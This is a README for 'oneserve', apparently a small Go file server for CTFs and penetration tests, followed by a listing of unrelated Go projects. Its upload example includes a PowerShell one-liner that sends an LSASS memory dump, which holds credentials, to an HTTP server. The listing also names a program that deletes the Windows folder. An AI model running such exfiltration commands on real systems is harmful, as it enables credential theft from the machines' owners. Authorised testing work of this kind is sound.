A small cross-platform fileserver for CTFs and penetration tests.

Overview

oneserve

A small cross-platform fileserver for CTFs and penetration tests.

Currently supports HTTP/WebDAV, file uploads, TLS, and basic authentication.

I am aware that the code is far from optimal and really betrays the fact I'm not a developer, but I would welcome any recommendations or requests!

Installation

Download the appropriate binary from the releases page, or compile it yourself! It has only been tested on Ubuntu 20.04 and Windows 10/Server 2019 so far, but it should work on most OS/architectures supported by the Go compiler.

Options

-a, --address

Address on which the server will listen

-p, --port

Port on which the server will listen

-d, --directory

The directory to serve

-T, --tls

Enables TLS

-K, --key

The key to be used when TLS is enabled

-C, --cert

The certificate to be used when TLS is enabled

-c, --colour

Enables colour output

-P, --prefix (WebDAV only)

Prefix to use for the WebDAV server

-b, --basicauth (HTTP only)

Basic auth credentials, separated by a colon e.g. admin:password

-u, --upload (HTTP only)

Enables uploading files, takes a path as an argument. For example, option -u uploadfile will accept POST requests on http://IP:PORT/uploadfile and will save the files in the working directory

Files can be uploaded from the command line like so:

powershell: (New-Object system.net.webclient).UploadFile("http://192.168.1.10:8080/uploadfile","C:\Windows\Tasks\lsass.dmp")

bash: curl -vv http://192.168.1.10:8080/uploadfile -F '[email protected]'

Examples

oneserve http

Starts an HTTP server on port 8000

oneserve http -c -u uploadfile

Starts an HTTP server on port 8000, with colour output and upload enabled on /uploadfile

oneserve webdav -a 192.168.1.10 -p 80 -P share -c

Starts a WebDAV server on 192.168.1.10:80/share with colour output enabled

oneserve http -p 8443 -T -C server.crt -K server.key -b admin:test

Starts an HTTPS server on port 8443 with basic authentication enabled

Releases(v1.0.0)
Cross-platform file system notifications for Go.

File system notifications for Go fsnotify utilizes golang.org/x/sys rather than syscall from the standard library. Ensure you have the latest version

fsnotify 7.2k Aug 6, 2022
A cross-platform changelog file generator

changelogger A changelog file generator heavily inspired on towncrier. Why? I'm looking for an alternative to towncrier that doesn't require a Python

Diego Garcia 13 Jul 27, 2022
go-fastdfs 是一个简单的分布式文件系统(私有云存储),具有无中心、高性能,高可靠,免维护等优点,支持断点续传,分块上传,小文件合并,自动同步,自动修复。Go-fastdfs is a simple distributed file system (private cloud storage), with no center, high performance, high reliability, maintenance free and other advantages, support breakpoint continuation, block upload, small file merge, automatic synchronization, automatic repair.(similar fastdfs).

中文 English 愿景:为用户提供最简单、可靠、高效的分布式文件系统。 go-fastdfs是一个基于http协议的分布式文件系统,它基于大道至简的设计理念,一切从简设计,使得它的运维及扩展变得更加简单,它具有高性能、高可靠、无中心、免维护等优点。 大家担心的是这么简单的文件系统,靠不靠谱,可不

小张 3.2k Aug 11, 2022
revealit is a small binary that helps with the identification of dependencies and their categories

revealit is a small binary that helps with the identification of dependencies and their categories. When you start on a new project, it's always interesting to understand what people have been using.

Gustavo Freitas 4 Jul 10, 2022
A Small Virtual Filesystem in Go

This is a virtual filesystem I'm coding to teach myself Go in a fun way. I'm documenting it with a collection of Medium posts that you can find here.

Alyson 31 Apr 18, 2022
Fast, dependency-free, small Go package to infer the binary file type based on the magic numbers signature

filetype Small and dependency free Go package to infer file and MIME type checking the magic numbers signature. For SVG file type checking, see go-is-

Tom 1.6k Aug 8, 2022
Small gh extension that suggests issues to work on in a given GitHub repository

gh contribute being a gh extension for finding issues to help with in a GitHub repository. This extension suggests an issue in a given repository to w

Nate Smith 23 Jul 27, 2022
A virtual file system for small to medium sized datasets (MB or GB, not TB or PB). Like Docker, but for data.

AetherFS assists in the production, distribution, and replication of embedded databases and in-memory datasets. You can think of it like Docker, but f

mya 8 Feb 9, 2022
Vaala archive is a tar archive tool & library optimized for lots of small files.

?? Vaar ?? Vaala archive is a tar archive tool & library optimized for lots of small files. Written in Golang, vaar performs operations in parallel &

Qing Moy 13 Jul 6, 2022
A small executable programme that deletes your windows folder.

windowBreaker windowBreaker - a small executable programme that deletes your windows folder. Last tested and built in Go 1.17.3 Usage Upon launching t

wowil 1 Nov 24, 2021
Ghostinthepdf - This is a small tool that helps to embed a PostScript file into a PDF

This is a small tool that helps to embed a PostScript file into a PDF in a way that GhostScript will run the PostScript code during the

Emil Lerner 123 Jul 5, 2022
A small tool for sending a single file to another machine

file-traveler A small tool for sending a single file to another machine. Build g

Vence Lam 1 Dec 28, 2021
A very light-weight file sharing platform, including server and client

file-transporter A very light-weight file sharing platform, including server and client Installation git clone https://github.com/vence722/file-transp

Vence Lam 1 Jan 12, 2022
gsheet is a CLI tool (and Golang package) for piping csv data to and from Google Sheets

gsheet Table of Contents Introduction Why? Installation Authentication and Authorization What about OAuth authentication? CLI Usage Sheet commands Dri

chris 17 Jun 21, 2022
Bigfile -- a file transfer system that supports http, rpc and ftp protocol https://bigfile.site

Bigfile ———— a file transfer system that supports http, rpc and ftp protocol 简体中文 ∙ English Bigfile is a file transfer system, supports http, ftp and

null 229 Jul 26, 2022
Takes an input http.FileSystem (likely at go generate time) and generates Go code that statically implements it.

vfsgen Package vfsgen takes an http.FileSystem (likely at go generate time) and generates Go code that statically implements the provided http.FileSys

null 946 Jul 29, 2022
QueryCSV enables you to load CSV files and manipulate them using SQL queries then after you finish you can export the new values to a CSV file

QueryCSV enable you to load CSV files and manipulate them using SQL queries then after you finish you can export the new values to CSV file

Mohamed Shapan 100 Dec 22, 2021
🏵 Gee is tool of stdin to each files and stdout

Gee is tool of stdin to each files and stdout. It is similar to the tee command, but there are more functions for convenience. In addition, it was written as go. which provides output to stdout and files.

HAHWUL 66 Aug 1, 2022